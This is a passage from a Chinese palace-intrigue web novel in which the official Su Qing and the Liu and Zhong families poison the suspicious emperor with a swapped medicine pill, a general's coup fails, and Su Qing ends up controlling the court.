她背后可没什么家族。 只是皇上忽略了一点。 柳沁是个人,只要是人,就会有想法。 不可能全听摆布。 此刻的皇上就在柳沁身边,看着还算温和,但死死盯着沁贵人的肚子,似乎想看出什么。 可他最终只能放弃。 先不说孩子还没出来。 就算出来了,他又能怎么办。 在这种诡异的沉默里。 对于刘贵人的处罚,他还说不出口。 凌晨有多高兴,现在就有多恨。 恨不得把刘家千刀万剐。 事实上他确实会这么做。 只是现在还不行。 等风头过了。 刘贵人,那个出生。 所谓的进士。 还有刘家满门,全都不能留。 甚至还有钟家。 这样的事,他们递上证据就算了。 为什么闹的满城皆知。 人人都知道他头上戴了绿帽子。 甚至人人都情诗的内容。 皇上缓缓开口:“柳沁,朕能信你吗。” 柳沁摸了摸近九个月的肚子,眼睛带泪:“臣妾实在不知皇上在说什么。” “自臣妾进京,唯有陛下是我的依靠。” “你这的太监宫女,倒是用心。” 柳沁看着这个阴沉的中年男人,脸色比之前更加苍白,像是随时都能倒,可他一句话,又会要了所有人性命。 “臣妾多番赏赐,只为平安。” “否则,钟贵人的惨剧,也会发生在臣妾身上。” 意思就是,她身边人用心,是她使钱了的。 皇上看向孙公公梁公公。 两人立刻亲自搜查。 要看沁贵人的首饰箱子。 全都翻出来,竟然寥寥无几。 皇上流水般的赏赐都被她送给身边人了。 屋子被搜的乱糟糟的。 除了平时看的书之外,再无半点额外字迹。 皇上犹觉不够,让人去搜柳沁宫女太监的住处。 倒是从他们这里找到不少金银财宝。 不出意外,皆是皇帝赏赐。 从这里来看,似乎没有问题。 唯有负责搜查的侍卫之一攥紧拳头。 查的天翻地覆。 丝毫不给沁贵人一分颜面。 好在什么也没查出来。 甚至发现沁贵人如今的安全,都是她小心谨慎的结果。 要不是她把大部分银钱都给了手底下人,大家不会这么尽心办事。 皇上冷声道:“一群狗奴才,竟然把沁贵人大部分财物都卷带到自己手中。” 不等皇上说出处罚,柳沁立刻百般求情。 拉扯一番后,此事才轻轻放过。 出了柳沁住处,皇上微不可查地松口气,对附近守卫道:“加强巡视,不要让可疑之人进入。” 众人立刻答是。 梁公公小声道:“陛下,刘贵人处?” “软禁起来,不用管她。”皇上猛烈咳嗽,显然气急了,“一切封赏暂时搁置。” 这就是要把事情压下去? 这种处理方法,对刘家人来说,堪称噩梦。 若跟沁贵人那般,从里到外都查了,才能证明清白无误。 刘贵人这种不管不问,才是最要命的。 皇上,皇上不会放任不管的。 等风头一过,就是刘家被灭满门的时候! 这个道理,刘家还是明白的。 全家上下跟无头苍蝇一般。 以前交好的世家此刻都在远离,等他们再等到消息。 跟刘贵人私通的进士,已经尸首分离,被拿起喂狗了。 “暂时不动我们,是皇上还要面子。” “等沁贵人孩子生下,等外面不再议论,我们就完了。” 同样完蛋的还有钟家。 为了平息事端,勤政殿下令。 说是钟贵人没了孩子,得了失心疯,这才污蔑其他人。 钟父被革职,钟贵人直接被禁足。 此令一出,倒是止住些谣言。 “都说了,皇宫守卫森严,刘贵人怎么可能生出别人的孩子。” “原来是宫妃争宠,这也对。” “只有蠢货才信!” “皇上为了面子,这帽子硬带上去啊。” “不是不报,时候未到。” 对钟,刘两家来说。 几乎是灭顶之灾。 他们几乎同时想到一个方法。 那就是拖沁贵人下水? 还是算了吧。 他们都要祈祷沁贵人的孩子是皇上的。 否则皇上必然震怒,到时候一丝活着的希望都没了。 当然了。 他们要是必死无疑。 那死也要拖着沁贵人一起去死。 两家跟无头苍蝇一样四处找门路,谁不想求得一线生机! 钟家还好。 但刘家那边,明眼人都知道皇上的想法。 还是那句话。 他母亲,他亲弟弟,他老师周太傅。 还有朝中的老臣,诸如连老将军,以及近来有功之臣苏清。 皇上饶过谁了? 这些人里,大部分都没招惹他,只因为功劳过盛,就被多番整治。 何况你刘家这种情况。 对刘家来说。 似乎只有等死一条路。 死。 还是全家一起死。 不行,绝对不行。 那逃? 刘家有些边缘族亲,立刻携带细软逃跑。 但大部分人全都被拦到京城内,不让他们离京。 理由是刘贵人刚诞下皇子,皇上不忍他们骨肉分离,所以不能离京。 这理由谁会信? 刘家顿时更加慌张。 就在刘老爷准备扯沁贵人下水时。 有人找了过来。 钟家。 这两家死死盯着对方,看对方犹如死敌。 先是刘家害的钟贵人孩子滑胎。 然后是钟家拿出刘家罪证。 但现在,只能坐下来详谈。 钟大人道:“若我们再不联手,就真的要全家灭门了。” 联手? 如何联手? 钟大人破釜沉舟道:“还记得永晟三年四月,发生了什么吗。” 刘老爷怎么不记得。 但是叛军入城。 皇上南逃。 等等?! 冷静下来后,却发现只能这样搏一搏了。 明知道全家要等死。 不如找个机会? 但凭借他们两家。 怎么可能成事。 钟大人一咬牙:“随我来一个地方。” 四月初八深夜。 距离事发一天时间。 朝廷天翻地覆。 他们倒是忘记一件事。 那就是海万州的船只已经下水了。 消息正放在翰林院里。 刘大人跟着钟大人来到一处小院。 这是? 等两人走进去,径直去了书房。 书房的主人正是苏清。 刘大人跟苏清虽见过,但没说过几句话。 只听苏清道:“只因本官造出新船,皇上就有意杀我。” “这种皇帝,实乃昏君。” 此话说到刘大人心坎上。 他终于明白过来。 刘家,钟家,还有眼前的苏大人,都被皇上逼的不得不反! 苏清开口道:“我本来以为只能等死。” “但刘贵人的孩子出生,倒是让我想到一个主意。” 不管外面传言如何。 但刘贵人生下来的这个皇子,就是皇帝唯一的儿子。 如果皇上病逝。 那谁是唯一的继承人?! 刘大人呼吸急促。 仿佛看到一条康庄大道就在眼前。 到时候孩子年幼,必然要有亲信心腹掌权。 有谁比自己这个当外公的更合适?! 至于是不是皇上的种不重要,这确实是他外孙啊。 都说苏大人聪明,果然如此啊! 但是皇宫守卫森严。 皇上身边更是常年有三百护卫。 谁能近得了身? 苏清看着焦急的刘大人,再看着同样慌张的钟大人。 刘大人道:“你们也不想想办法!” 位置还没坐上去,就开始发号施令了。 但在刘大人看来,他这里才是解题之法。 两人要靠着他才能活下去! 这两人必须想办法。 钟大人皱眉。 他也是今日才接触到苏清的。 苏清说扶持刘大人的外孙时,肯定犹豫过。 但对比直接去死,还是这个方法好些。 可这位刘大人,似乎也没那么好相处。 “这瓶药,跟皇上常吃的很像。”苏清拿出一个小瓶子。 钟大人被打断思绪,跟刘大人同时认出这个瓶子。 益气养神丸。 皇上常吃的那种。 要不是这个药,皇上身体会更差。 不少老臣子都想要,但皇上吝啬得很,只少少给出一些。 这件事同样引起不少老臣不满。 刘大人嗤笑:“每次吃药,皇上都让身边人随机拿出一粒喂狗试药。” “确定无误后,才会自己吃。” “你这方法根本行不通。” 苏清笑:“事在人为。” 苏清继续道:“这药是救命的药,如果皇上喘不过气急需用药,还来得及试药吗?” 刘大人心脏狂跳不已。 对啊。 这药是救命的。 好几次皇上喘不过气,都是立刻吃了药缓解的。 这种紧急情况,是等不了试药的。 速效救心丸嘛。 肯定是出事了立刻吃。 等一会再吃,尸体都要凉了啊。 刘大人把药丸揣在怀里。 只等一个机会。 如今看来,只能让孙公公出马了。 朝中关系盘根错觉。 刘贵人能成为宠妃,既有自己的原因,也有上下打点的缘故。 孙公公就是刘家的座上宾。 金银珠宝收了无数。 这个时候,也该有点用了吧。 孙公公跟刘大人秘密见面,脸色极为不好,开口便是:“刘大人,你是想早点死吗?都跟你说了暂时不能见面,等找到机会我会帮你求情。” 如果被皇上知道,他们出事见面,以皇上的疑心程度,自己彻底完了。 梁公公对他恨之入骨,肯定会踩踏一脚。 刘大人却冷笑:“我们全家就要完了,这个还顾得了什么。” “对了,我女儿的事,也多亏孙公公帮忙。” “否则我还没有外孙呢。” 孙公公气急,拍案而起:“不要胡说!” “怎么是胡说。”刘大人威逼道,“还是那句话,反正我们家要满门抄斩,只是时间问题。” “不会,我说我会求情。” “求情?就你?太后,铮王爷,前些日子的连老将军,苏清。” “他饶过哪个!?” 孙公公沉默。 皇上做事,他们都懂的。 根本没有回旋的余地。 一旦皇上知道,刘贵人私通的事,跟他有些联系。 他就完了。 “说吧,想让我做什么。” 刘大人放下一瓶药,让孙公公脸色难看。 等刘大人详细说了,他才咬紧牙关:“然后呢?” 孙公公坐直身体,然后扶持刘大人的外孙。 太后,刘贵人,刘家掌权。 至于他。 更是头功。 世人因利而聚,自然因利而散。 皇上以功名利禄,荣华富贵做诱饵,吸引来的,自然也是这种人。 真心为皇上考虑? 这不是笑话吗。 这位刻薄寡恩的,什么时候为下面人考虑过。 孙公公拿走毒药,满脑子都是如何行事。 更要避开梁公公跟齐内官。 巧的是,这两位最近有事,并不多在勤政殿内。 伺候皇上吃药的差事,只交给他了。 伺候吃药没问题。 但皇上经过刘贵人的事,似乎也没什么事,能让他如此着急。 就在此时。 刘大人求见。 皇上直接道:“不见。” 想也知道,他要干什么。 无非想求情。 可他恨急了这些人,怎么可能让他求情! 去死还差不多! 再看着新船下海的奏章,皇上难得有一丝笑意。 太监进来再报:“陛下,苏大人求见,说是有要事禀告。” 苏清。 本就心情极差的皇上,此刻对苏清恨意只增不减。 若不是这个女人胆大妄为,引得其他女人轻浮浪荡。 说不定也不会有后宫这些事。 果然,女子就该好好待在后宅。 出来为官,就是败坏社会风气! “见她。” “一个女子,整日抛头露面,成何体统。” “都是这种女人,搞的女不像女,男不像男。” 皇上又道:“以后所有女子,都要学三从四德,大街之上若有女子抛头露面,就该打死!女子乡试!更是提都不要再提!” 说着,再次剧烈咳嗽。 进了勤政殿的苏清听到最后这句话,知道这是故意说给她听的。 似乎是想告诉她。 你不是想让女子做官,女子读书吗? 做梦吧。 朕不仅要废了她们的功名,还要把她们拘禁在家中,永世不得翻身! 皇上似乎想看到苏清恼怒生气。 但苏清没有生气,只是手拿一封信件,笑眯眯道:“皇上,微臣有要事禀告。” “什么事。” 苏清继续笑:“跟沁贵人有关。” “原来沁贵人的母亲与苏家有亲,算起来,我竟是沁贵人表姐。” “故而想求见沁贵人,以叙亲戚之情。” 皇上紧皱眉头。 苏清跟沁贵人有远方亲戚这事,他自然知道。 但苏清来京城一年多,从未攀亲。 怎么突然说起来。 是突然说起来,还是早就私下有联系。 要是私下有联系。 那沁贵人宫殿的严防死守,似乎有了答案。 沁贵人背后之人。 是苏清?! 若是这样。 那沁贵人的孩子,难道也不是自己的?! 想到这个可能性,皇上的呼吸急促,手捂着胸口。 这次变成苏清观察皇上了。 其实她什么也没说。 但某些人的疑心病,就要把自己害死了。 苏清轻笑,眼神都是嘲弄:“沁贵人也没什么娘家人,有微臣这个娘家人,很多事就好办了。” 皇上吃了粒怀里的益气养神丸,终于平缓呼吸,冷声道:“你一个小小官员,何故跟朕的妃子攀亲。” “还是想结党营私?” “你苏清,不早就在结党了吗?!” 皇上刚要说苏清罪名,就见她诧异道:“微臣没有跟铮王爷结党。” 说完,就见她脸上浮现不好意思的笑意:“微臣跟铮王爷走的近,是因为心悦他。” “只是王爷婚事由陛下做主,我们也不好擅自开口。” 什么?! 苏清跟晏铮州?! 苏清走上前,笑着道:“我们在广乐府时便已熟知。” “本来以为此生有缘无分,没想到皇上召我来京。” “铮王爷身量高大,长相是一等一的俊美,就连声音都是举世罕见。别说他战神的称号,实在是世间少有。” “既然今日提起,还请皇上做主,给我们赐婚。” “可好?” 苏清的每一句夸奖,都像是敲在皇帝心脏上。 当初朕让你进宫,你闹了那么大一出不肯进。 现在为了朕的弟弟,竟然主动开口。 凭什么?! 朕哪里不如晏铮州! 哪里不如这个弟弟! 苏清也好,旁边不吭声的孙公公也好。 都看得出来,皇帝对晏铮州的嫉妒之心,已经要冲破心脏。 “苏清!” “等你嫁人,你还能做官吗?!” 皇帝问的,不是你还能做官吗。 问的是,你这么喜欢做官的人,会为了晏铮州放弃官位?! 他不信。 凭什么苏清这样的女人,也会为了晏铮州放弃官位。 晏铮州凭什么值得。 “做不做官,都不影响我想要个他的孩子。”苏清轻蔑一笑,似乎意有所指,“他应该能生孩子的吧。” “陛下,您说呢。” 皇帝眼前一黑,整个人近乎昏厥。 最后这句话直戳他的内心。 那就是后宫三个有孕的妃子,没有一个怀了他的孩子。 没有一个! 苏清看向孙公公,盯着他的袖口。 孙公公立刻上前给皇帝喂药。 熟悉的药瓶,熟悉的药,已经来不及的找人试了。 可孙公公整个人颤抖,根本喂不进去。 苏清施施然上前,接过药瓶,在皇帝渴望的目光里,喂他吃下药丸。 等着皇帝的,不是熟悉的呼吸平缓,心跳慢慢减慢。 而是一种无以言表的窒息感。 吐出不来,咽不下去。 这是药吗? 你们给朕喂的是什么。 皇上盯着孙公公,见他不同寻常的慌张,睁大眼睛直接倒在龙椅上,彻底没了呼吸。 苏清把药瓶还给对方,开口道:“还不宣御医。” 宣御医? 这,这还有必要吗?! 第89章 御医还是来了。 面对尸体束手无策。 太后文武百官乍闻皇上病逝,第一反应是不信。 但想到最近发生的事。 再有皇上的身体,似乎也正常了? 太后面容悲怆,已然泪如雨下,眼里是极恨的。 “为什么会这样!为什么会这样?!” 她儿子早上还好好的。 上午怎么就病逝了。 还突发心疾。 为什么?! 御医查了又查,只说皇上身体本来就不好,突闻噩耗,一起气血翻涌,连益气养神丸都没能救回来。 太后哭的泣不成声。 勤政殿众人无不跪地痛哭。 等太后眼泪擦去,似乎已经想到谁是凶手。 当时勤政殿内。 只有孙公公,苏清。 以及原本想要求见的刘大人。 刘贵人,刘家! 如今这时候,除了刘家人之外,还有其他人吗? 听说一个时辰前,刘大人还求见了。 此刻宫外的刘大人,整个人血液冰冷,脑子却极为活跃。 皇帝真的死了。 苏清到底用的什么方法,真能把人气成这样。 连试药都来不及试。 这个女官,还真有点作用。 以后自己掌权,倒是要提防她。 刘大人心里乱成一团。 他知道,很多事情要变了。 看着来召见他的太监,正是太后的人。 刘大人精神一震,有种想跑的冲动。 但对方根本不给他这个机会。 刘大人到的时候,苏清已经在回话了。 太后问的问题,无非是他们在聊什么。 苏清并未说谎,只道:“聊了微臣与沁贵人有亲,想要拜见。” “还有海船的事,以及臣跟铮王爷的婚事。” 孙公公也跪在一旁,证明苏大人所言非虚。 但只聊这些,皇上怎么会心悸而死。 必然有原因。 太后像是老了许多,眼睛死死盯着刘大人。 丝毫不在意苏清跟晏铮州的关系。 在太后心里,刘大人已然是罪魁祸首。 要不是刘贵人的事。 皇上怎么可能突发疾病。 刘贵人私通闹的满城皆知,一直是皇上心病。 不管有没有罪证,太后已然把这件事记到刘大人头上。 眼看太后眼神越来越阴冷。 刘大人寒毛直立,直接道:“太后退居幕后已久,只怕糊涂了。” “陛下出事,臣又不在这里。” “不在?”太后冷声道,“在与不在,有什么区别。” 别说太后这么想。 但凡听到皇帝死讯的人,都这样认为啊。 皇上什么心悸而死,明明就是被气死的。 现在有什么事,能把皇帝气成这般? 唯有刘贵人跟那个私生子的事的! 而刘家做此事的理由也充足。 只要皇上死了。 就不好追究他们刘家的事情。 毕竟刘贵人的孩子,是皇帝明面上唯一皇子。 想到这点,对刘大人的怀疑显然更深。 刘大人汗如雨下,急着看向苏清。 从四月初六,到今日四月初八。 一切发生的太快了。 他根本来不及思考,竟然把太后她老人家给忘了。 可事到如今,已经没有回头路了。 而且,他还有后手。 甚至是临时起意,布置的后手。 只听外面来了一队人马,急切报:“不好了!太后不好了!” 什么不好了?! 太后身边女官训斥道:“有什么事慢慢说!” “吴将军来了!就在京城外,还带了五千着甲的士兵!” 皇帝病逝,总兵进京很正常。 但着甲?! 还五千人?! 另一边的刘大人已经起身,拍拍身上的灰尘。 他也是做官的人,怎么会那样蠢。 以为皇帝没了,自己就能扶持外孙坐稳位置。 就在听到皇上去世的第一时间,他就想到礼部左侍郎的女婿吴将军。 也就是统率十万近卫军,接替连老将军的吴大人! 这位可是最会攀炎附势的。 皇上在位的时候还好。 如今这种情况,他必然会权衡利弊。 看来这位吴将军很是聪明,知道该选哪一边。 是早就被皇帝削弱势力的太后。 还是他这个掌握唯一皇子的国丈。 刘大人的笑已经止不住了,笑着对同样跪着的孙公公,苏大人招手:“跪了这么长时间,也该累了,快起来吧。” 太后脸色大变。 只见孙公公还真起来了。 倒是苏清一动不动。 刘大人也没理,他只等着太后自己想明白过来。 有皇子,有兵权。 他还怕什么?! 刘大人甚至往勤政殿内的软塌上看了看,又朝龙椅看了看。 原本的死局,不仅解开了! 还让他闯出一条通天大道! 太后也是夺权出来。 焉能不知如今的局势。 赶到皇宫,想送皇上最后一程的文武百官听到吴将军的消息也傻眼了。 尤其是经历过四年前叛军进城的官员,已然抖如筛糠。 只有顾从斯扶住几位老臣,让他们不要太过慌张。 但这种情况,怎么会不慌。 疯了,一切都疯了。 “必然是刘大人想着鱼死网破,害死陛下,跟吴将军勾结。” “下一步,就是扶持小皇子上位?” “那,那还是个婴儿啊。” “刘大人倒是年富力强。” “顺昌国怎会如此!” 勤政殿外的文武百官瞬间分为两派。 一派跟吴将军一样,立刻倒戈。 让太后绝望的是,这些倒戈人,都是皇上近来极为信任的。 他们能对皇帝溜须拍马,也能对刘大人溜须拍马。 只要自己的位置不变,那做什么都行。 他们心中只有利益,没有忠义二字。 另一派陶阁老,李尚书这些老人,还有顾从斯这种官员,全都死咬着不松口。 只支持太后,并要求查明真相。 “国之大计,不能落在不忠不孝不仁不义之人手中!” 勤政殿内。 皇帝的尸体已经没人去管。 太后气的发抖。 刘大人施施然坐下,显然觉得自己胜券在握。 孙公公思索片刻,还是站在刘大人身边。 苏清倒是没再跪了,她只立在一旁,静静看着眼前的一幕。 外面文武百官的争吵传进来。 殿内刘大人,已然开始游说,他笑着对太后道:“太后娘娘,您也是聪明人,顺昌国如今不易,您也不容易,何必计较那么多。” “您娘家被冷落多时,实在可惜,咱们共同抚育小皇子长大,岂不是极好。” “陛下当年就是您一手扶起,再扶您的孙儿坐稳皇位,您就是尊贵的太皇太后,天下间谁都越不过您。” 太后被这样的忤逆之话气得发抖,指着刘大人道:“你在说什么?!朝中怎么会有你这种臣子!” “那个杂种也能跟我的孩子相提并论?!” 人人都知道,刘贵人的孩子并非皇帝亲生。 她怎么可能扶持一个小杂种。 刘大人不愿意了。 怎么就小杂种了,那是他亲外孙! “是吗,可吴将军似乎支持朝中唯一的小皇子。”刘大人笑嘻嘻道,彷佛已经胜券在握。 太后看着他的态度,更加生气。 不行,她绝对不可能同意。 他们害死自己的孩子,还要扶持一个杂种上位。 “一群乱臣贼子!朝中怎么能容你们!” 刘大人慢悠悠道:“如果是连老将军带着近卫军,我自然办不成,但吴将军什么性格,皇上还不知道?” 太后愣住。 这确实是皇上造的孽。 连老将军多忠心啊。 就算没有连将军,还有晏铮州。 对。 她还有一个儿子。 虽然不如皇上聪明,却是最忠心的。 “吴将军?他比铮王爷还厉害吗?”太后冷声道,外面众人也听到了,“等铮王爷带兵,你们这些人全都死于刀下!” 听到铮王爷的名字,刘大人等人慌乱片刻。 战神的名号,谁能不怕? 给他时间,一定能带人攻入城内。 苏清忽然幽幽道:“他早就没了实权。” 此言一出,太后刘大人都看过来。 一个人脸上写了绝望,另一个人脸上写了狂喜。 “这也是皇上的安排啊!” “战神怎么了!战神没有实权!” 话已至此,刘大人再也不隐藏自己的想法,直接推开殿门,对着外面跪倒一片的文武百官道:“陛下薨逝,唯有扶持陛下唯一的皇子继承大统方是正理。” “诸位觉得呢?” 孙公公赶紧跟出去, “不行!” “你这个乱臣贼子!” “自是如此,只是皇子还是襁褓婴儿,应该由国丈监国才是。” “没错,我们都听刘国丈的。” “你们在胡说什么,那根本不是陛下的孩子!” “陛下死因成谜!尚不能安歇,若不查明真相,岂能早早拥立新君!” “怎么就不是陛下孩子了?你们的意思是说,有人给陛下戴绿帽子,这怎么可能啊!陛下都没惩治刘贵人,实在是无稽之谈。” 文武百官不仅吵架,更要动手。 外面打成一团。 太后只觉得那些谄媚之人的话如此熟悉。 当初在皇帝身边,就是这么奉承她儿子的。 太后哭倒在皇帝尸体上,忍不住道:“糊涂啊!你糊涂!” 知道你是为了收拢手里的权力,知道你要把朝中换成自己人。 但这些奸佞之人,始终是个祸患! 怎么就不懂呢! 哀家屡次劝你,都被你当耳旁风。 如今哀家没有权力,你弟弟也没有权力。 谁能帮你报仇雪恨,谁能救救皇家血脉。 太后痛哭流涕。 实在不知怎么就走到这一步。 不知什么时候,苏清走到身边,低声道:“太后娘娘,不要过于悲伤。” “或许还没到死局。” 自吴将军消息传来。 苏清的存在感极弱,只有涉及铮王爷时才说了句话。 太后看着她,忽然想到,苏清也是个不进谗言,一心为国为民。 “你有什么办法?!” 苏清低声道:“唯有给铮王爷兵权,如今陛下已逝,朝廷之上您最大。” “您写了密旨,我伺机带出,让铮王爷迅速掌兵,营救您与陛下,让罪人绳之以法。” 太后勉强冷静下来:“你如何能出去的?铮王爷如何掌兵?最近的军队,就是十万近卫军了,是由吴将军领着。” “您不用担心,平时我也是要出去的。至于近卫军,您也不用担心近卫军听不听话。” “那可是广乐府带出来的将士,是铮王爷组建起的队伍。” 苏清三言两语说明情况,又递上纸笔,催着太后写密旨。 太后已经没有办法,身边女官虽然迟疑,却也只有这一个办法。 不到片刻,密旨写完,被苏清袖在手中。 勤政殿外,两派臣子打的有来有回好不热闹。 苏清出去时,跟顾从斯微微点头。 这里暂时交给他了。 吴将军还带着士兵守在京城外面,更放出话来,他们只听刘大人的话,还请朝廷另立新君,让顺昌国归于平静。 这话堪称无耻。 一个刚出生的婴儿成为新君,谁来把持朝廷? 吴将军的话摆明了要支持刘大人。 他的岳丈礼部侍郎等人也不装了,起身威逼其他大臣。 在他们眼中,自己已然胜券在握。 吴将军今年不过三十六,他做梦都没想到自己会立这样的天功。 今日过是实在跌宕起伏。 先接到皇上驾崩的消息,再接到刘大人密信。 还好他做出正确选择。 这般从龙之功,以后荣华富贵享之不尽了。 不过他多问了一句:“铮王爷在何处。” 虽然铮王爷没有兵权。 但近卫军多信服他。 可再想想,有那样的皇帝兄长,对铮王爷是不公平的。 现在人没了,他说不定很高兴啊。 此时的晏铮州全身带着玄甲,正是战场上那一身。 他在等苏清的消息。 此刻的勤政殿外。 刘大人对苏清并无多少提防。 在他眼中,苏清他们是一伙的,甚至是她提供的毒药,听孙公公的意思,还是她亲手喂得药。 这女人实在太狠。 怪不得皇上不能留她。 再想到新船的利润,也确实是不能留的。 苏清只当没看到他的表情,通过齐内官的人递出密旨。 再经由宫中侍卫送到晏铮州手中。 密旨一到。 晏铮州带着马豪等人,直接前往京城之外,直面所谓的吴将军。 而苏清也跟宫中侍卫首领见面。 这侍卫首领已经被副手杜天材捉住,直接道:“苏大人,他有意勾结刘大人,被我们兄弟们生擒了!” 要说宫中这些好手,一部分是京中子弟精挑细选而来。 另一部分便是近卫军里的将士。 后者的武力值自不用讲。 他们对苏大人铮王爷的信任非比寻常。 自苏大人秘密联系他们,他们便听从两人命令。 今日宫变,便立刻警醒起来。 现在既有太后密旨,他们一定听令行事。 可以说想要掌握宫里侍卫力量,以及城外近卫军。 除了有太后密旨之外,必须是侍卫将士信任之人。 是把命交给声名狼藉的其他朝臣。 还是交给对他们极好的苏大人铮王爷。 人人都知道怎样选。 侍卫副首领杜天材更知道怎么选。 当年在南江县,苏大人是救过他们命的! 等苏清带着侍卫来到勤政殿外时,刘大人脸上带了欣喜。 苏清啊苏清! 太好用了! 苏清径直走到殿门前面,环视一周。 苏清身后的侍卫杜天材直接给了孙公公一刀,立刻尸首分离血溅当场。 原本吵闹的勤政殿外立刻鸦雀无声。 这? 这是干什么?! 刘大人问道:“苏大人!你这是?!” 苏清又朝杜侍卫点点头,指着人群礼部左侍郎等人:“礼部左侍郎,工部左右侍郎,吏部王大人周大人孙大人。” 刚开始,大家还不知道苏清什么意思。 只见她说一个人的名字,身后侍卫便捉一个,直接捆起来丢到一旁。 说到工部左右侍郎时,众人看向刘大人,他就是工部左侍郎啊! 侍卫们并不手软,直接把人捆了。 定睛一看。 但凡被捆起来的官员,都是喊刘大人为刘国丈,支持婴儿为新君的。 “疯了!你疯了!”刘大人骂道,“苏清!你在干什么!别忘了吴将军随时会破门而入!” 这话提醒众人。 吴将军是支持刘大人。 如果他得知宫里的情况,肯定立刻进京! 苏清轻笑:“正如本官奉太后命接管宫中侍卫一样,铮王爷已经去接管近卫军了。” 近卫军?! 近卫军会听吴将军的,还是听铮王爷的,大家心里都有数的! 陶阁老等人长舒口气。 顾从斯也站出来,同苏清汇报方才的情况,又点出几人名字,皆是对刘大人谄媚之人。 事已至此。 已然是清算的时候。 苏清对顾从斯道:“礼部先去收敛陛下尸体,好生安慰太后娘娘。” 说是安慰,实则稳住。 顾从斯明白,带了心腹进入勤政殿内。 而刘大人看着眼前的一切。 这对吗?! 明明一切都是苏清的主意,她却当上忠臣了?! “苏清!你装什么!今日之事,分明是你谋划的!竟然敢把我捆起来?!” 此言一出,漫长哗然,只见苏清淡定道:“刘大人随意攀咬,可想过后果。” “攀咬?!不是你跟钟大人说,我们都是必死之人,不如搏一把?!” 说到这,刘大人忽然卡壳。 他要怎么讲? 说毒药是苏清给的,苏清喂的? 孙公公已死,已然全无对症。 钟大人呢? 看到苏清的眼神,就知道钟大人估计也没命了。 而且别看闹成这样。 皇帝的死因还没攀咬到他们身上。 要么追究刘家趁着皇帝死了,逼着太后赶紧立新君。 要么事情全都抖出来,害死皇帝的罪名按上来,神仙来了也救不了他家。 这两个罪名哪个严重,还用得着说? 再说,害死皇帝这事,已经是既无人证也无物证。 明明是她的主意。 她却直接撇干净了! 还直接立场转变,要来收拾他?! 刘大人只觉得遍体生寒。 似乎察觉到什么。 他一时哑言,其他文武大臣显然也发现什么。 别的不说。 苏清方才能来去自如就很奇怪。 说不定真跟刘大人有勾结。 但这会能戳破吗? 自然不能啊。 戳破苏清的立场,只会把她推向刘大人那边。 默认她跟刘大人对立,便是忠臣良将。 就是保护他们的。 勤政殿外众人,多数人看不明白情况,直接骂刘大人:“不要污蔑苏大人!苏大人是看不得奸佞小人。” “大人锄奸,你竟然敢泼脏水。” 陶阁老看出什么的,眼里只有复杂。 皇上已经死了。 再追究下去也没有意义。 苏清直接拿下刘大人,还能控制住侍卫跟近卫军,就是保住他们这些人的命。 也是保住朝廷体面。 原本处于下风的忠臣良将们,此刻终于翻身,继续殴打那些忤逆之人。 太后走出来,看向刘大人的眼神带着怨恨,直接道:“刘家忤逆犯上,害死皇帝,满门抄斩!” “还有刘贵人跟那个孽畜!全都杀了!” 刘大人立刻挣扎,大骂苏清手段毒辣。 他家彻底完了,他要把所有人都拖下水! 大家一起陪葬! 岂料苏清却对太后拱手:“太后娘娘,陛下死于心悸,御医可以作证,跟旁人无关。” “依臣看,刘大人趁机起势,不过是投机取巧。皇上之死,不见得是他人之手。况且稚子无辜,还请太后三思。” 苏清这话出口。 在场文武百官都震惊了。 为什么?! 不管皇帝死因如何。 不管你跟刘大人有没有勾结。 趁机灭门不是好事吗? 但不得不说,刘大人看到苏清求情,真的冷静下来。 方才一味阿谀奉承的官员,本以为自己被绑起来定然会死,现在也有了生机? 毕竟苏大人都为刘大人求情了。 那他们更不致死啊。 但这样做,是为什么? 苏清淡定道:“陛下去世,朝中自然有乱象,但若因一时糊涂就灭人满门,扼杀无辜稚子,实在有违天道。” “顺昌国高祖皇帝以德治国,臣等铭记于心。” 苏清其实不知道高祖皇帝是不是以德治国。 但哪个皇帝没讲过这些话,编就编了,大家还能拆穿吗。 果然,原本闹哄哄的朝臣们,似乎都没意见。 苏清这样做,对朝臣来说,只有好处,没有坏处。 若皇上太后的意思。 今日之后必然血流成河。 他们习惯如此高压的统治,有人能松口气,是件大好事的。 本来对苏清发号施令有些不满的大臣,此刻都闭上嘴了。 苏清再次强调:“如今当务之急,是皇上的丧事,太后娘娘您说呢。” 苏清话音落下,看向礼部剩下的人。 他们立刻开口劝说,请太后娘娘先顾及陛下丧仪。 一场混乱无比的闹剧。 就在苏清的主持下落幕。 闹到最后,死的好像只有皇上跟孙公公? 就连刘大人以为必死的钟大人都一晃而过。 他也好好的? 苏清是妇人之仁,还是想放大家一马。 不管为什么,但所有人莫名安心。 因为发生了天大的事,苏清也不会随意要了人的性命,更不会只听阿谀奉承。 别管忠臣奸臣,这样的上位者,太让人安心了。 再说,真正的妇人之仁,能见血之后如此淡定吗。 她是亲历过战争,广乐府几个县失守,还亲自去前线的官员。 那就只有一个答案。 她跟皇上太后不一样。 她这个上位者,讲理。 等铮王爷将吴将军斩于马下,苏清控制住吴家全家后。 大家更加肯定这个答案,苏清只杀该杀之人。 不过听到铮王爷的消息,有些人无比期盼他赶紧回来主持大局。 现在朝廷上。 皇上已死,他所谓唯一的皇子还是个婴儿,压根不是他的种,太后根本不认。 只有铮王爷年纪正好,能力也不错。 由他主持大局,大家信服。 但文武大臣,尤其是殿前闹事的大臣们有个疑问。 铮王爷回来,会不会顺着太后的意,把他们都杀了? 若是这样,还不如让苏大人继续掌权。 反正太后如今最信任的,就是苏大人,甚至还听苏大人的劝解。 一面是晏铮州的正统身份。 另一面是苏大人的治下之法。 大家都想要啊。 巧的是,他们好像都能得到。 因为小道消息说,苏大人跟铮王爷正谈婚论嫁。 以苏清户部四品官的身份掌权,大家或有不服。 但若是王爷未婚妻身份,那还有什么好说的。 只是这般夺权,铮王爷什么想法? 此刻在京郊整顿近卫军的晏铮州并无想法。 他甚至刚知道苏清是自己未婚妻。 倒不算意外。 他早知道,苏清会用这层身份做事,无非是早晚的事。 只是,他还是那个问题。 苏清接近他。 到底是因为这个身份足够便利。 还是因为他本人。 想来,好像是后者。 苏清却主动给他送送来一封信:“未婚夫晏铮州亲启,皇宫安稳。” 落款是未婚妻苏清。 算了。 答案不重要。 重要的是,苏清已然得到她想要的一切。 苏清拿着玉玺,身边站着顾从斯。 原来玉玺这样小,这样轻。 “你说,平定天下,使百姓安居乐业,要多长时间。” 顾从斯不知道。 苏清道:“五年,最多五年的时间,顺昌国百姓要过上好日子。” 第90章 永晟八年,四月十一。 从初六到现在,只过去五天时间。 京城却发生翻天覆地的变化。 先是皇上驾崩。 